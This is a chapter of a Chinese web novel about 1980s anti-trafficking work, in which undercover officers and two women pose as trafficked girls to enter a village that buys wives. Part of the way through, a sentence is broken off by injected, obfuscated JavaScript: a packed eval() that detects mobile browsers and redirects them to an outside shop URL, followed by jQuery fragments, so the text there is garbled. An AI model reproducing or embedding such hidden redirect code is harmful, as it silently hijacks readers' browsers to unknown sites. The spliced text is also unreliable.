23. 打拐解救5

作品:《八十年代女乡长

    天刚蒙蒙亮,曾明凤和罗文诗穿着皱巴巴的棉衣,按时间悄摸摸地出了门。


    门外已经有一辆双驴板车来接应,车上已经有三个人,曾明凤和罗文诗仔细看了看,正是之前消失了几天的刀疤和地瓜,赶车的是一路同行过的甲组的人,罗文诗给人家取的绰号叫麻糖——脸上有麻子,说话好听喜欢夸人,听起来心里甜。


    她们俩确定是自己人后,手牵手上了驴车。


    外省的冬天又冷又灰,却不吝啬太阳,时有朝霞漫天,树木草丛却枯萎得很。不像四川的冬天,终日冷雾弥漫,难见天日,山野田地却始终有许多绿色。


    曾明凤和罗文诗都戴着手套和帽子,两人拿板车上看不出颜色的毯子搭盖着身体,悄声说话。


    “咱们应该怎么演?”曾明凤毕竟没干过这样的事情,她是真的很紧张。


    罗文诗摇头,“不知道,不过我觉得,你自由发挥就好了,你挺能忽悠人的。”


    曾明凤眼神放空,“你怎么会对我有这样的误解呢……”


    罗文诗白了曾明凤一眼,左右看,“怎么只看到刀疤和地瓜,黑娃儿跟竹竿呢?”


    那凶脸刀疤入戏得很,用不太熟练的本地口音严厉喝止这俩女同志说话,“闭嘴!少叽叽歪歪的!”


    罗文诗瞪大眼,眼珠子咕噜一转,立马一头扎进曾明凤怀里,“姐,呜呜,好吓人,好害怕,我们是不是遭骗了……”


    刀疤掏出一根烟点上,呼出一大口白气,地瓜在一旁笑,“哎刀哥,别跟小孩子见识,等咱们找好买家,就把这两个碎嘴子姐妹卖掉。”


    麻糖在前面赶车,原本爱说爱笑的他此刻一脸严肃,他回头叮嘱后面的人:


    “别嬉皮笑脸的,再把这两个女同志弄丢,咱们就只有集体自杀的份了。”


    地瓜脸一垮,再也笑不出来。


    曾明凤:“……”


    真是谢谢你们了,更紧张了好不好!


    *


    驴车走了很远的路,整体来说这里的地势十分平坦,偶有起伏的小山丘,坡度都很和缓。


    曾明凤观察到,这边的村庄大都是修建在一起的,形成一个个的聚居区。


    这些房屋在一起的村庄,宛如一个个小城,入口和出口只要被把守住,就很难从道路上逃脱。当然,利弊相通,如果是有足够的警力围住村庄,村庄里的人也跑不脱。


    曾明凤沉默地观察着路上的一切,沿途偶尔能看到集市,来往的人们穿着是和家乡一样的简单朴素,远远看去,确实是男多女少。


    走了许久,驴车终于进了Y村,在村头的时候被人拦住。


    “哪儿来的人啊?咱们村这段时间不接待外人啊。”


    守在村口的大叔戒备得很,挥着手让他们离开,“走走走,哪儿来的哪儿去。”


    麻糖嘿嘿一笑,“我找你们村的二愣子。之前老狗介绍来的,引子已经在你们村里了,咱们是运货员,这是你们定的黄货,我们专程送来嘞。”


    引子是接头人,也指代专门出头拐骗的人员。运货员是负责押送被拐妇孺的人,黄货则是没嫁过人的大闺女。


    这一句话的功夫,村里走出了许多拿扁担锄头的青壮年,其中一个小眼睛青年的蹿了出来,“哎,对,是找我的,这是来送货的!两匹黄货!”


    王叔踮脚往前看,他一眼瞅到围巾滑落,露出白里透红鹅蛋脸的曾明凤,忍不住眼神发亮。


    别看王叔是个村里人,他自诩会点看相的本事,只需要看别人几眼,能给人家身份猜出个八九十来。


    板车上的这俩女孩,一大一小虽然长得水灵,可那眉眼姿态妥妥儿的外地乡下长大,还颇有点文气,应该都读过些书,识字算数肯定是会的。


    “哎哟,好货!几斤几两啊?”


    斤两是指代年龄的暗语,麻糖指着曾明凤,“一斤八两。”


    然后又指着罗文诗,“一斤……二两。”


    罗文诗心中震惊,我像12岁嘛我?


    她看了看村庄里的人的身高,又淡定了。


    算了,在外省,她也不是不能当12岁,矮就矮呗,接受现实。


    “这个小了点。”王叔不太高兴,“我们要马上能下崽的,你们验过货没啊?”


    地瓜似笑非笑地回答,“来红了的,这是一对姐妹。”


    罗文诗确定了,地瓜肯定是不满意自己给他取的绰号,这有针对性呢!


    王叔还在上下打量这俩女娃,看亲昵程度应该是姐妹,但长得不太像,不知道是不是一个像爹一个像妈。


    “你们都不给蒙眼,就这么一路带着来,不怕她们记路啊?”王叔经验老到,总觉得哪里不对劲。


    曾明凤抱着罗文诗,适时地用家乡土话开口,“里们讲些腻儿哦!”


    然后又用口音很重的普通话问,“啧里就四里们要给额我们介绍的人家户了哇,我要选个有钱的人家哦!我跟我妹儿要嫁给一家兄弟哈,我们不得分开嘞!”


    说完,曾明凤还故意打量了下二愣子,摇摇头,“这个看起来一般,我喜欢壮实的。”


    二愣子努力理解曾明凤的话,有些乐了,开起了黄腔,“哟,还是外地明货!妹子,男人壮不壮,可不能只看外表,嘿!还得看看□□!”


    曾明凤假装听不懂,“说啥呢,声量也不大,种地肯定不行。这个我不要啊,哎,这村子小伙子真多,我能自己挑不?”


    二愣子身后的年轻人听懂了,一个个往上挤,都想来看看这个长得漂亮的外地明货。


    明货,是明白清楚地知晓,自己来外地是嫁人成家的。


    在村里人的认知里,明货是最好的,她们奔着过好日子来,只要吃好喝好照顾好,这些明货会从家乡介绍更多的女孩子过来!


    一个村要是能有两三个穷苦地方来的明货,这个村甚至不用再跟人贩子买媳妇!虽然介绍费还是要给,但总归是肉烂在自己人锅里,没给外人了呀!


    二愣子不服气,一边伸手扒拉这些想围过去的人,一边昂着头喊:“你可别看不起人,我舅舅是村长!”


    旁边有人嬉笑,“你舅舅是咱们村村长,你又不是咱们村的,X村才是你的窝,跟我们抢什么啊抢!”


    听到X村,曾明凤嘴角一撇,然后迅速勾起来,好,很好!等着吧你!


    麻糖没想到曾明凤能主动配合的这么好,赶紧拉着王叔催促。


    “暗货野性重,动不动就想跑。明货不一样,跟着谁家就是谁家人,上面来人都不怕查。”


    王叔喜不自胜,立即转换了态度,“哎,进村去说啊,最近风声紧,咱们小心点。”


    这年头的人,脑子都还比较单纯。或者说,这些买卖妇女的村里人,都是井底之蛙,眼界停留在什么事都捂得住的狭隘认知中。


    当然,麻糖、刀疤、地瓜这三个人经验丰富的伪装是关键因素,无论是人口买卖的“黑话”还是当地方言,他们都对答如流,并且他们一眼看上去,都像是混社会的,身上没有一点干部味。


    小矮个罗文诗被扣了个十二岁未成年人的幌子,便一路故作好奇地四处看,把沿途的人和物都记在心里。


    很快,曾明凤一行人顺利进入村里,来到了村子最中心的地方,那里有一栋大院子。


    许多村民都听说来了黄货还是明货,都跟着过来。


    来的人基本都是男性,也有几个中年妇女,他们围着院子或站或坐,有说有笑,像是真的村里马上要办喜事了一般。


    王叔扯开喉咙喊,“老规矩啊,看热闹的往后,家里有现钱能买的靠前。这段时间上面抓的严,好多运货的都不从咱们这边过,咱优先村里年纪大的选,小年轻们等着,以后有的是机会!”


    “这次来的是两个黄货,一个一斤八两,带回去就能下崽,一个一斤二两,可能还得养个一两年……”


    屋子里的黑娃儿和德吉两人出来,黑娃儿冲王叔招呼,“老王,我们的黄货带来了,你们说要给的暗货在哪?”


    那王叔嘿嘿一笑,有些赖皮,“暗货就在咱们村里,等在咱们把这两个黄货分好了,再去领也不迟嘛。”


    德吉是中原地区绝对认同的典型克夫相,对外的身份一向自诉为:不慎打死丈夫后逃跑混迹江湖,靠买卖妇女儿童为生的恶女。


    谁听了都一哆嗦。


    这种时候,德吉最适合唱黑脸,她上前推了王叔一把:


    “啥意思?老狗说你们搞了个带官印的暗货,急着脱手,我们才冒险来一趟。现在我们把明货带来了,你想要不老实了?”


    “我当初可是说过,要验验货的,要是残了傻了,那可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17138047|194423||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就不值钱了。我带来的这两个黄货,品相你们也看见了,可不是普通货色,明货在哪都比暗货抢手。一斤八两这个,还是个高中生!”


    德吉左右打量周围的人,“啧,是不是手里根本没人,想诓我们把高档黄货留下来。这样的话,我可要涨价了。”


    一听说要涨价,王叔赶紧往人群里看去。


    人群里,有几个黑脸汉子相互看了看,点点头,有两个离开人群走了。


    王叔回头说,“行,那这样,我们这边先验货,那边马上带人来。”


    德吉眉头一皱,“这两个是明货,给你们看看肚子差不多了,人家俩姐妹是贫苦大山里来的,想着来享福呢!你们把人家当暗货搞,以后喂不家,可别赖我们。”


    验货?


    曾明凤心中一突,这可有点尴尬。


    据她们了解过的资料,验货的过程各地不同,但无一不是对被拐女性的侮辱和摧残。


    有的地方是要单独查看女性的肚子有没有妊娠纹,以及有没有被运货的人暴力奸污,想要确保买回来的女人生自己的种。这样的验货,还稍显文明一点,好点的地方只会让当地女性去查验。


    有的地方则愚昧恶毒,要把被拐女性脱光任人查看,甚至群体猥亵来试探这些女性是否被降服,会不会反抗逃跑。


    哼,肚子都不给你们看!曾明凤眼珠子一转,想到一个拖延时间的更好办法。


    她记得张队长说过,打仗做事,最可怕的不是敌人多聪明,而是队友多愚蠢。


    反过来理解——找到敌人队伍里最愚蠢的队友,就可以搞乱他们所有的布置安排。


    罗文诗谨记人设,表现得怯生生地,挨着曾明凤站。


    曾明凤也保持自己开场的风格,她假装没听懂,指着那个二愣子,笑嘻嘻地椒盐普通话说道:


    “你,对,二愣子四吧,你跟我讲讲,村里哪个家最有钱?我这么好看,要嫁条件最好的!彩礼钱不能少啊,我还得给这几位锅锅发介绍费嘞!”


    曾明凤一开口,窸窸窣窣的声音都安静下来。


    已经习惯了被骗被拐来的女孩子们哭哭啼啼,陡然间见到一个正常的、不惧怕男人的、敢提要求的女孩子,他们都有点发懵。


    好似大家不是来买人,而是等着被这个女孩挑选一般。


    幼儿班老师也是老师,当过老师的人,骨子里总有一种站在台上就要指点教育别人的冲动,走哪儿都想当个主场人。


    曾明凤此刻一点都不怯场,她甚至学起了吴爱娇的招牌动作——微抬小下巴。


    “其他人都安静些啊!二愣子,说话噻。”


    二愣子被点名,他看着曾明凤阳光爽朗的笑容,明亮的眼睛,白里透红的脸蛋,有种在课堂上被突然抽起来发言的紧张感,头脑发晕,当即指着自己:


    “肯定是我家条件最好啊,大妹子,你跟我,该给的我都给!要是以后给咱家多生几个大胖儿子,我给你打金镯子!”


    “生儿子?”曾明凤马上半真半假地胡扯,“我家传的最会生儿子了,我姨妈生了九个儿子!我妈也生了五个儿子,只有我和妹妹是女儿。”


    姨妈确实生了九个,五男四女,全部长大;自家妈只生了四个,两男两女,早夭一个。


    二愣子傻傻地看曾明凤,“俩女儿也行,长得像你的话,砸锅卖铁我也愿意养,我不嫌弃女儿……”


    王叔看不下去了,上去踢了二愣子一脚,“丢人现眼的东西,没见过女人还是咋的!我都说了,要让年纪大的先挑。你个十八九岁的(毛都没长齐)狗崽子急什么急!你甚至不是我们村的,占什么份额呢你!”


    二愣子不服,“我就看上这个了,我舅舅……”


    “你舅舅根本不想掺和这些事!你舅舅那个村长也是咱们给他选的,他要是管不了咱们村的延续,他就不是村长了,懂不!”


    王叔怒目圆瞪,手里拿着根木棍做势要打。


    曾明凤伸着头,饶有兴致地火上浇油,“哎,咋啦,你们说啥呢,我听不太懂,二愣子,这是你爹啊?不同意?那就算了嘛,我看这里好多男人,哎,你也不错,你看得上我不?”


    曾明凤手指头一伸,指向了刚进门的一个青年男人。


    许多人随着曾明凤手指的方向看过去,脸色都有些变了。